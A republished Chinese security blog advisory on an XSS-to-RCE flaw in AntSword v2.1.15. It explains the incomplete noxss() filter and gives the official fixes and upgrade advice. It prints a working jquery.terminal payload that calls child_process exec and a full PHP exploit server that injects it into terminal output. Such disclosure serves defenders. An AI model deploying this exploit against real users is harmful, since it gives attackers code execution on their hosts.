蚁剑v2.1.15曝致命漏洞!XSS可直接变RCE,点击即中招…

admin 2026-04-29 05:56:45 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

文章总结: AntSwordv2.1.15存在高危XSS漏洞,因noxss()函数过滤不完整导致恶意服务端可注入jquery.terminal格式码,生成javascript:协议链接。在Electron开启nodeIntegration环境下点击即触发远程代码执行。官方修复方案包括扩展字符过滤、限制链接协议或关闭nodeIntegration,建议用户立即升级至v2.1.16版本。 综合评分: 85 文章分类: 漏洞分析,WEB安全,渗透测试,安全工具,红队


cover_image

蚁剑v2.1.15曝致命漏洞!XSS可直接变RCE,点击即中招…

原创

3had0w 3had0w

潇湘信安

2026年4月28日 08:30 湖南

在小说阅读器读本章

去阅读

| Ima知识库名称 | 加入条件 | | — | — | | 潇湘信安协同知识库(更新~ing!) | 限时免费 | | 潇湘信安学习资料库(更新~ing!) | ≥3年粉丝 | | 潇湘信安内部知识库(更新~ing!) | 星球成员 |

近期,GitHub上公开了AntSword(中国蚁剑)v2.1.15的一个高危安全漏洞,该漏洞由 noxss() 过滤不完整引发,恶意服务端可构造特殊响应,在虚拟终端实现格式码注入,最终导致客户端任意代码执行,风险极高。

https://github.com/AntSwordProject/antSword/issues/370

一、先搞懂:中国蚁剑是什么?

AntSword(中国蚁剑) 是一款开源跨平台的网站管理与渗透测试工具,基于 Electron 开发,广泛用于Webshell 管理、文件操作、数据库管理、虚拟终端等场景,是安全从业者、渗透测试人员常用的辅助工具,支持 PHP/ASP/ASPX/JSP 等多种脚本环境。

但也正因高权限、高频使用,一旦工具自身出现漏洞,极易被黑产利用,反噬使用者本地主机

二、漏洞核心:一次过滤遗漏,引发客户端 “灭顶之灾”

1. 漏洞编号与基础信息

漏洞来源:GitHub Issues #370漏洞类型:XSS注入 → 远程代码执行(RCE)影响版本:AntSword v2.1.15(其他满足noxss过滤逻辑 + nodeIntegration: true的版本同样受影响)利用难度:低(1-click触发)危害等级:高危

2. 漏洞原理:二次渲染的安全间隙

漏洞根源在于antSword.noxss()函数过滤不完整

  • noxss()仅过滤& ' > < "5 个字符,未覆盖[ ] ! ; :等 jquery.terminal 格式码字符
  • 恶意服务端注入jquery.terminal 格式码,绕过过滤后被终端解析,生成带javascript:协议的可点击链接;
  • 蚁剑基于 Electron,且开启nodeIntegration: true点击链接即可直接调用 Node.js API,执行系统命令。
  1. 攻击流程(极简复现)

1、恶意 PHP 服务端构造 Payload:

[[!;;;;javascript:void(require(`child_process`).exec(`calc.exe`))]{http://localhost/phpmyadmin/}]

2、蚁剑连接该服务端,打开虚拟终端执行任意命令;

3、命令输出出现 “正常链接”,用户点击后本地弹出计算器,可进一步执行任意恶意代码。

Exp:

<?php$pass&nbsp;=&nbsp;'test';if&nbsp;(!isset($_POST[$pass])) {&nbsp; &nbsp;&nbsp;http_response_code(404);&nbsp; &nbsp;&nbsp;exit;}$code&nbsp;=&nbsp;$_POST[$pass];if&nbsp;(!function_exists('get_magic_quotes_gpc')) {&nbsp; &nbsp;&nbsp;function&nbsp;get_magic_quotes_gpc()&nbsp;{&nbsp;return&nbsp;0; }}$payload&nbsp;=&nbsp;'[[!;;;;javascript:void(require(`child_process`).exec(`calc`))]{Click here for phpMyAdmin}]';$b64payload&nbsp;=&nbsp;base64_encode("\n"&nbsp;.&nbsp;$payload);$inject&nbsp;=&nbsp;'echo base64_decode("'&nbsp;.&nbsp;$b64payload&nbsp;.&nbsp;'");';// 只在终端命令请求时注入 (包含 system/exec/passthru/popen 等命令执行函数)if&nbsp;(preg_match('/\bsystem\b|\bexec\b|\bpassthru\b|\bpopen\b|\bshell_exec\b|\bproc_open\b/',&nbsp;$code)) {&nbsp; &nbsp;&nbsp;$code&nbsp;=&nbsp;str_replace('asoutput();',&nbsp;$inject&nbsp;.&nbsp;'asoutput();',&nbsp;$code);}@eval($code);?>

三、官方修复方案:3 种思路,快速加固

项目组已给出有效修复方案,建议用户立即更新:

方案 1:最小改动(推荐)

扩展noxss()过滤字符集,转义[,阻断格式码解析:

noxss:&nbsp;(html =&nbsp;'', wrap =&nbsp;true) =>&nbsp;{&nbsp;&nbsp;let&nbsp;_html =&nbsp;String(html)&nbsp; &nbsp; .replace(/&/g,&nbsp;"&amp;")&nbsp; &nbsp; .replace(/'/g,&nbsp;"&apos;")&nbsp; &nbsp; .replace(/>/g,&nbsp;"&gt;")&nbsp; &nbsp; .replace(/</g,&nbsp;"&lt;")&nbsp; &nbsp; .replace(/"/g,&nbsp;"&quot;")&nbsp; &nbsp; .replace(/\[/g,&nbsp;"&#91;");&nbsp;// 新增:阻断格式码&nbsp;&nbsp;if&nbsp;(wrap) {&nbsp; &nbsp; _html = _html.replace(/\n/g,&nbsp;'<br/>');&nbsp; }&nbsp;&nbsp;return&nbsp;_html;}

方案 2:限制链接协议

在 jquery.terminal 层面,仅允许 http/https 协议,拒绝javascript:等危险协议。

#

方案 3:长期根治(根本解决方案)

关闭nodeIntegration: true,通过contextBridge安全暴露必要 API,从根源杜绝 XSS 升级为 RCE

四、安全建议:所有蚁剑用户必看

  1. 立即更新:升级到已修复的 v2.1.16 最新版本,避免使用 v2.1.15 及存在相同问题的旧版;
  2. 谨慎连接:不连接不明、不可信的服务端,防止被构造恶意响应;
  3. 不随意点击:虚拟终端中出现的陌生链接,切勿点击;
  4. 加固环境:长期使用建议按方案 3 关闭nodeIntegration,降低权限风险。

中国蚁剑 v2.1.16 下载地址:

https://github.com/AntSwordProject/antSword/releases/tag/2.1.16

五、写在最后

渗透工具本身是双刃剑,工具自身的安全,直接关系到使用者本地主机安全。此次蚁剑漏洞再次提醒:高频使用的工具,更要紧盯安全更新。请尽快自查版本、完成修复,避免被 “反向控制”!

关注我们

 还在等什么?赶紧点击下方名片开始学习吧 


知 识 星 球

星球已过800人,暂不再发放优惠券,如还有需要的师傅可加我VX:S_3had0w,等你一起来学习…!

| Ima知识库名称 | 加入条件 | | — | — | | 潇湘信安协同知识库(更新~ing!) | 限时免费 | | 潇湘信安学习资料库(更新~ing!) | ≥3年粉丝 | | 潇湘信安内部知识库(更新~ing!) | 星球成员 |

| | | | — | — | | | |


推 荐 阅 读



免责声明:

本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。

任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。

本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我

本文转载自:潇湘信安 3had0w 3had0w《蚁剑v2.1.15曝致命漏洞!XSS可直接变RCE,点击即中招…》

评论:0   参与:  0